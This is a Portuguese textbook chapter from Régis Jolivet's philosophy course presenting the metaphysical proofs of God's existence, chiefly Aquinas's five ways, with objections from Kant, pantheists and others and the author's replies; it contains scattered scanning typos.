Provas Metafísicas da Existência de Deus – Curso de Filosofia de Jolivet

Curso de Filosofia – Régis Jolivet

Capítulo Segundo

PROVAS   METAFÍSICAS   DA   EXISTÊNCIA   DE   DEUS

201        Podem-se distinguir dois grupos de provas da
existência de Deus: o das provas metafísicas e o das provas morais, conforme
estas provas partem da realidade objetiva do universo, ou da realidade moral.
Na realidade, toda prova de Deus é metafísica, uma vez que a existência
de Deus não é, propriamente, objeto de apreensão intuitiva e não pode ser
demonstrada a não ser com a ajuda de princípios metafísicos. É possível,
contudo, e ressalvada esta observação, conservar a divisão em provas
metafísicas e provas morais.

ART.    I.    OBSERVAÇÕES GERAIS SOBRE
AS PROVAS METAFÍSICAS

1. A experiência, nas provas metafísicas. — Estas provas
também são chamadas muitas vezes provas físicas, por assinalar o fato de
se apoiarem na experiência objetiva. Mas toda prova da existência de Deus, seja
metafísica ou moral, deve necessariamente partir dos dados de experiência, quer
dizer, deve ter sua origem ou seu ponto de apoio nos seres e fatos concretos
que a experiência nos revela, para elevar-se daí a um Ser real, sem o qual
estes seres e estes fatos e todo o universo permaneceriam inexplicados e
inexplicáveis.

202      2. Visão
geral das provas metafísicas. — Antes de expor os diversos argumentos, é útil
tomá-los em conjunto, de forma sintética, a fim de tornar mais claramente
acessível à inteligência o que constitui o eixo comum de uns e outros.

a) O fato do
condicionamento universal.
Tudo o que vemos em torno de nós, e tudo o que a
ciência, cada vez mais, nos ensina, aparece-nos como um encadeamento de
seres ou fenômenos que se sucedem e se imiscuem uns nos outros e assim formam
séries
que têm os seus anéis sòlidamente articulados. É a isto que podemos
chamar fato do condicionamento universal, pelo qual todos os seres e
todos os fenômenos do universo encontram sua condição, quer dizer, sua causa ou
razão de ser, num outro ser ou outro fenômeno.

b) A causa primeira
incondicionada.
O princípio que nos orienta neste ponto é o de que, de
condicionado a condicionante, é preciso necessariamente chegar a um princípio
ou a uma causa absolutamente primeira, absolutamente incondicionada e, conseqüentemente,
colocada fora da série causai. De nada adiantaria, com efeito, prosseguir
o infinito,
uma vez que a série causai, mesmo concebida como infinita,
seria ainda condicionada no conjunto, quer dizer, composta unicamente de intermediários que transmitissem simplesmente a causalidade. Na ordem causai, é o primeiro
termo incondicionado que produz tudo, pois o resto não tem por função senão transmitir o movimento ou o ser. (Um canal, por mais longo que seja, não é a
explicação da água que nele circula; apenas a fonte explica a corrente. Da
mesma forma, não se explica o movimento das bolas de bilhar, multiplicando o
número das bolas, mas unicamente recorrendo, qualquer que seja o número de
bolas, à mão, que é a causa primeira do movimento que as bolas transmitem umas
às outras.)

203 c) A causa
universal absolutamente primeira.
Nossa investigação só pode terminar numa
causa única e por isto mesmo universal, pois a causa absolutamente primeira
não pode ser senão única.
Se ela fosse múltipla, seria necessário supor que
as causas absolutamente primeiras são independentes umas das outras (senão, elas
não seriam absolutamente primeiras). Ora, esta suposição é incompatível
com a unidade e a ordem que reina no universo, e inconciliável com as
exigências da razão, para a qual o inteligível, o ser e o uno são convertíveis
(192). Se assim não fosse, seria necessário admitir que a lei absoluta das
coisas não coincide com a de nosso pensamento e que, apesar do absurdo ser
inconcebível, pode contudo constituir o cerne das coisas. Ora, nisto existe uma
incompatibilidade radical, uma vez que, como já vimos  na Crítica  do conhecimento   (177), os princípios da razão não
são nada mais do que as próprias leis do ser.

É necessário,
portanto, concluir que só existe uma Causa absolutamente primeira e que
esta Causa, que, pela própria definição (sendo absolutamente primeira) não
depende de nenhuma outra e domina todas as séries causais, deve ser um Ser
necessário,
quer dizer, de tal ordem que não possa não ser, exista por sua
própria essência e tenha em si a razão total de sua existência.

204      3. Objeção kantiana.
— Kant levantou contra o valor das provas da existência de Deus uma objeção
geral que devemos examinar aqui. Todas estas provas, diz ele, apóiam-se no
princípio da causalidade, pelo fato de que procuram mostrar que Deus é causa do
universo. Ora, o princípio da causalidade não tem valor a não ser na ordem
da experiência sensível.
As provas de Deus são, portanto, ineficazes.

A esta objeção devemos
opor o seguinte: em primeiro lugar, que o princípio da causalidade, como
nós o empregamos aqui, não nos serve mais do que para provar que o universo
exige uma causa,
e isto em virtude mesmo do que apreendemos no universo, e
de forma alguma para definir o que é ou deve ser em si esta causa,
depois, e de acordo com o que estabelecemos na Crítica do conhecimento (177), que
o princípio de causalidade não é uma-forma subjetiva, quer dizer, a
priori
e arbitrária, de nossa razão, mas uma evidência objetiva, apreendida
no próprio ser dado à experiência, e por conseguinte válida proporcionalmente
para a universalidade do ser. Segue-se que, ao contrário do que afirma. Kant, o uso transcendente do
princípio de causalidade é legítimo-
e rigorosamente válido.

ART. II.    AS CINCO  VIAS

205    Uma vez que se
aprendeu bem o esquema geral das provas, físicas (ou metafísicas) da existência
de Deus, é fácil compreender os cinco argumentos (ou as cinco vias que
conduzem a Deus) propostos por Santo
Tomás. Estes argumentos partem das diferentes ordens de condicionamento
ou de encadeamento que podemos observar no universo, e cada um nos conduz
ao mesmo Princípio absortamente primeiro,
que é Deus.

 

 

§ 1.   Prova pelo movimento

Santo
Tomás considera esta a prova mais
manifesta de todas. Para bem compreendê-la, é importante ter bem presentes ao
espírito ao mesmo tempo a noção de movimento e o princípio geral em que se
baseia a prova.

1.    O princípio do argumento.

a)         A noção de movimento. O termo movimento não designa apenas o deslocamento de
um lugar para outro, mas, em geral, toda passagem da potência ao ato, isto
é, de uma modalidade de ser a uma outra. Como vimos em Cosmologia (73), o que
há de essencial no movimento é propriamente a passagem enquanto passagem, o
que faz do movimento uma realidade que participa a um tempo do ato e da
potência. O movimento é, então, o sinal e a forma do que se chama em geral
o vir-a-ser.

b)         A inteligibilidade do
vir-a-ser.
Toda a questão estará então
em descobrir o que torna inteligível (quer dizer, o que explica) o vir-a-ser.
Para isto vai-se recorrer ao princípio, estabelecido na Ontologia (194),
segundo o qual "tudo o que se move é movido por outro", quer dizer
que nada passa da potência ao ato a não ser sob a ação de uma causa já em ato,
o que significa, mais resumidamente, que nada pode ser causa de si mesmo.

2.         O argumento. — Em virtude do princípio
precedente, Santo Tomás estabelece
que o movimento exige um primeiro motor (o que não é mais do que uma
aplicação do princípio geral da inteligibilidade do vir-a-ser). "Com
efeito, diz ele, é evidente (e nossos sentidos o atestam) que, no mundo, certas
coisas estão em movimento. Ora, tudo o que está em movimento é movido por um outro.
É impossível que, sob o mesmo aspecto, e do mesmo modo. um ser seja a um tempo
movente e movido, quer dizer que se mova a si mesmo e passe por si mesmo da
potência ao ato. Logo, se uma coisa está em movimento, deve-se dizer que ela
está movida por uma outra (81). E isto porque, se a coisa que move por sua vez
se move, é necessário, por outro lado, que ela seja movida por uma outra, e
esta por uma outra ainda. Ora, não se pode ir assim ao infinito,  porque não
existiria  então  motor primeiro, e daí se seguiria que não existiriam tampouco
outros motores, pois os motores intermediários não movem a não ser que sejam
movidos pelo primeiro motor, como o bastão não se move a não ser movido
pela mão. Logo, é necessário chegar a um motor primeiro que não seja movido
por nenhum outro.
E este primeiro motor é Deus."

3.    Objeção. — Certos filósofos julgaram poder fugir a esta conclusão
admitindo uma série infinita e eterna de motores e móveis. Se o mundo e
o movimento, pensam eles, são eternos, não há por que procurar um primeiro
motor.

Mas Santo
Tomás responde que esta objeção não poderia atingir o argumento, porque
não o toma no seu verdadeiro sentido. Com efeito, o argumento manteria toda a
sua força na hipótese da eternidade do mundo, uma vez que o que se considera
não é a série de motores acidentalmente subordinados no tempo, mas a
série de motores atualmente e essencialmente subordinados: atualmente, a planta cresce, e seu crescimento depende do Sol; mas o Sol, de que
depende? Seu movimento atual, de onde provém? Se o recebe de um outro
astro, este astro, por sua vez, de onde recebe atualmente o seu
movimento? É impossível prosseguir ao infinito, porque isto seria suprimir o
princípio e a fonte do movimento, e, portanto, o próprio movimento. Ora, o
movimento existe. Logo, existe um primeiro motor. E se o mundo fosse eterno,
seu movimento exigiria eternamente um primeiro motor.

4.    Corolários. — Da
noção de primeiro motor imóvel, quer dizer, de um ser imutável na perfeição
que lhe pertence por sua própria essência,
podem-se deduzir imediatamente
os corolários seguintes:

a) O primeiro motor
imóvel é infinitamente perfeito.
Com efeito, toda mudança implica imperfeição,
uma vez que mudar é adquirir o ser que não se tem. Se, pois, o primeiro motor é
absolutamente imóvel é que ele possui toda a perfeição, quer dizer, a
plenitude do ser.   Em outras palavras,  ele é Ato puro.

b) O primeiro motor imóvel
é um ser espiritual,
pois a matéria é corruptível, portanto essencialmente
imperfeita. Sendo espiritual, o primeiro motor deve ser também inteligente e
livre,
pois inteligência e liberdade são propriedades essenciais dos seres
espirituais.

c)         O primeiro motor imóvel é eterno, uma vez que é absolutamente
imutável.

d)         O primeiro motor imóvel é
onipotente,
pois, sendo princípio do
movimento universal, está presente por seu poder a tudo aquilo que move, quer
dizer, a todo o universo.

§ 2.   Prova
pela causalidade

206      1.    O argumento.

a)         Há uma Causa absolutamente
primeira.
Na prova pelo movimento,
colocando-nos do ponto-de-vista do vir-a-ser fenomenal. Aqui, encaramos
a causalidade propriamente dita. Tudo o que se produz, como dissemos, é
produzido por outra coisa (senão, o que é produzido seria causa de si mesmo,
quer dizer, anterior a si, o que é absurdo). Concluímos daí, por exclusão da
regressão ao infinito, que há uma Causa absolutamente primeira, fonte de toda
causalidade.

b)         Esta Causa primeira é
transcendente, a todas as séries causais.
Em outras palavras, ela não pode ser um elemento da série das
causas. Com efeito, se ela não fosse mais do que o primeiro elemento da série
causai, seria necessário explicar como este primeiro elemento teria começado a
ser causa, quer dizer que, em virtude do princípio de que nada se produz a si
mesmo, seria necessário recorrer a uma causa anterior a que se desejaria
considerar como primeira, o que é contraditório. É preciso, então, necessariamente,
que a Causa primeira transcenda
(quer dizer, ultrapasse absolutamente e
domine) todas as séries causais, que ela seja causa por si, incausada e
incriada.

2. Objeção. — Tem-se
pretendido muitas vezes opor a este argumento a hipótese de uma causalidade
circular,
quer dizer, de uma causalidade recíproca dos elementos do
universo, em que a matéria se transformasse em energias diversas, para voltar
em seguida a seu estado original e assim por diante, indefinidamente (hipótese defendida por  certos  filósofos   gregos,
que  não tinham a noção de criação, e, entre os modernos, por Nietzsche).

Ora, mesmo que se
encontrasse um fundamento para esta hipótese, ela não alteraria em nada o
alcance da prova pela causalidade : que a evolução seja circular ou linear,
isto não se refere senão à transmissão, e não à fonte de causalidade.
Ficaria
por explicar a existência do Universo, concebido  como  um Todo.

§ 3.    Prova
pela existência de seres contingentes

207 1. O argumento. —
Esta nova prova parte do fato de que o mundo físico é composto de seres contingentes, quer dizar, de seres que são, mas poderiam não ser, pois estes seres, ou
nós OS vimos nascer, ou então a ciência nos mostra que eles foram formados, ou
ainda a sua composição exige, para explicá-los, uma causa de sua unidade.

Ora, os seres contingentes
não possuem em si mesmos razão de sua existência.
Com efeito, um ser que
tivesse em si, quer dizer, na sua própria natureza, a razão de sua existência,
existiria sempre e necessariamente. Os seres contingentes devem, portanto, ter,
num outro, a razão de sua existência, e, este outro, se também é contingente,
também tem a sua num outro. Mas não é possível prosseguir assim ao infinito: de
ser em ser, devemos chegar, afinal, a um ser que tenha em si mesmo a razão de
sua existência, quer dizer, a um ser necessário, que exista por si, e
pelo qual todos os outros existam.

Este ser necessário,
que existe por sua própria natureza, e que não pode não existir, é Deus.

2. Objeção panteísta.
— Os panteístas admitem, efetivamente, este raciocínio, mas não a sua
conclusão. Para eles, o ser necessário não seria um Deus pessoal, mas o
próprio mundo,
tomado no seu conjunto, e concebido por eles como um ser
único e infinito.

Mas esta doutrina vai,
evidentemente, contra a razão. Com efeito, o todo, que é a soma das partes,
não pode ser de uma natureza diferente das partes.
Ora, o mundo é composto
de seres contingentes. Logo, ele também é contingente e, assim como cada uma
das suas partes, não existe por si mesmo. Portanto, sua existência, para ser
inteligível, postula a existência de um ser que existe por si e que é Deus.

§ 4.    Prova
pelos  graus de perfeição dos seres

208      1.    O argumento.  — Parlamos do  aspecto de
beleza   que as coisas manifestam diferentemente. Diremos: se a beleza se encontra
em diversos seres segundo graus diversos, é necessário que ela seja produzida
neles por uma causa única. É impossível que esta qualidade comum a seres
múltiplos e diversos pertença a estes seres em razão de sua própria natureza,
pois,
do contrário, não se compreenderia por que a beleza se encontraria
neles, ora em maior, ora em menor quantidade. Eles seriam esta beleza por sua
própria essência, quer dizer, necessariamente a possuiriam perfeita, sem
limite, nem restrição. O fato de que há diferentes graus de beleza obriga
então a que os diversos seres em que descobrimos estes graus participem
simplesmente de uma Beleza que existe fora e acima desta hierarquia de beleza,
e que é a Beleza absoluta e infinita.

Este argumento se aplicaria validamente
a todas as perfeições ou qualidades, que podem ser levadas ao absoluto: ser,
unidade, verdade, bondade, inteligência e sabedoria. O primeiro Princípio
deve, então, ser necessariamente Ser perfeito, Unidade absoluta, Verdade,
Bondade, Beleza, Inteligência e Sabedoria
infinitas.

2. Alcance do
argumento. — Este argumento não exige, apenas, uma Beleza ideal, mas uma Beleza
subsistente,
nem, apenas, uma Verdade ou uma Bondade ideal, mas uma Verdade e uma Bondade subsistente (e assim por diante para as outras
perfeições), quer dizer que ele conduz, como os argumentos precedentes, a um
Ser que existe em si e por si, e que é, por essência, Verdade, Bondade,
Beleza, Unidade etc, absolutas e infinitas.

É que este argumento, como os
precedentes, também é investigação de uma razão de ser, a saber,
investigação da razão ou da causa da semelhança ou hierarquia dos seres
compostos. Sob esse aspecto, estabelece que os seres que possuem graus
desiguais de perfeição não têm  em  si mesmos a razão última  desta perfeição,
e
que esta não pode explicar-se senão por um Ser que a possui absolutamente e
essencialmente,
enquanto que todo o resto a possui apenas por
participação.

§ 5.    Prova
pela ordem do mundo

209      1.    O argumento.

a)         Princípio do argumento. A prova pela ordem do mundo (ou argumento das causas
finais) se apóia no princípio de finalidade, e toma a seguinte forma: a organização complexa, objetivando um fim, exige uma inteligência
ordenadora.
Com efeito, apenas a inteligência pode ser razão da ordem, quer
dizer, da organização dos meios objetivando um fim, ou dos elementos tendo em
vista o todo que compõem: os corpos ignoram os fins e, por conseguinte, se os
corpos ou os elementos corporais conspiram em conjunto, é necessário que sua
organização tenha sido obra de uma inteligência.

b)         Forma do argumento. O argumento parte do fato da ordem universal. Esta
ordem é evidente: considerado no seu conjunto, o universo nos aparece como uma
coisa admiràvelmente ordenada, em que todos os seres, por mais diferentes que
sejam, conspiram para um fim comum, que é o bem geral do universo. Por outro
lado, cada um dos seres que compõem o universo manifesta uma finalidade
interna, quer dizer, uma exata apropriação de todas as suas partes, objetivando
o bem deste mesmo ser.

Ora, esta ordem é
inteligível unicamente pela existência de um princípio inteligente,
que
ordena- todas as coisas a seu fim, e ao fim do todo que elas compõem. É isto
que resulta do princípio1 demonstrado mais acima. Ê necessário,
então, admitir que existe uma Causa ordenadora do universo.

210      2.    Objeções.

a) O argumento não
conduziria, a ima Inteligência infinita.
É a objeção de Kant. O mundo, diz ele, não é infinito,
e, se, de fato, é necessário uma inteligência ordenadora para explicar sua
unidade interna, seria suficiente, a rigor, uma inteligência de um poder  
seguramente prodigioso,  mas não formalmente infinito.

A objeção não procede,
pois incide no erro de supor que a ordem do mundo resultaria de uma simples
arrumação de materiais preexistentes. Neste caso, uma inteligência não
infinita seria uma explicação suficiente da ordem do mundo. Mas tudo muda de
figura se a ordem não é mais do que um aspecto do ser, sendo uma ordem
interna, que resulta da essência e das propriedades-mesmas das coisas, ainda
mais que o autor da ordem é, necessariamente, por isto mesmo, o criador do
ser universal,
a um tempo.. Poder infinito e Inteligência infinita.

b)    Fruto do acaso. É
difícil negar que a ordem reine no mundo. Mesmo os ateus não o contestam. Mas
para escapar à
conclusão do argumento, afirmam que a ordem do mundo pode ser explicada pelo acaso. O mundo atual, dizem eles, é o produto
de forças inconscientes e fatais; passou por fases extremamente diferentes da
que conhecemos, e esta não se perpetuou a não ser graças à harmonia que estas
forças misteriosas acabaram por gerar fortuitamente.

É fácil ver que esta
explicação é, na realidade, fuga de uma. explicação. O acaso tem por caracteres
a inconstância e a irregularidade, o que é o contrário mesmo da
ordem. O acaso pode, a rigor, explicar uma ordem acidental e parcial, mas não
uma ordem que governa inumeráveis casos, e que se perpetua, seja no interior
dos seres, seja em suas relações mútuas, com uma constância invariável.

c)    A evolução. Invocou-se,
também, a evolução, para explicar a ordem do mundo. Mas a evolução, longe de
estabelecer a ordem, a supõe, uma vez que se faz de acordo com leis e leis necessárias. A evolução exige, portanto, de forma absoluta, uma inteligência. É que
as causas eficientes não excluem de forma alguma as causas finais: ao
conutrário, o mecanismo não tem sentido, ou mesmo existência, senão pela
finalidade. Por isso, já mostra mos (84) que as causas que podem explicar a
evolução dos seres do universo não fazem mais do que obedecer a uma idéia,
imanente,
e, por conseguinte, supõem a existência de uma ordem anterior e superior
a elas.

 

 

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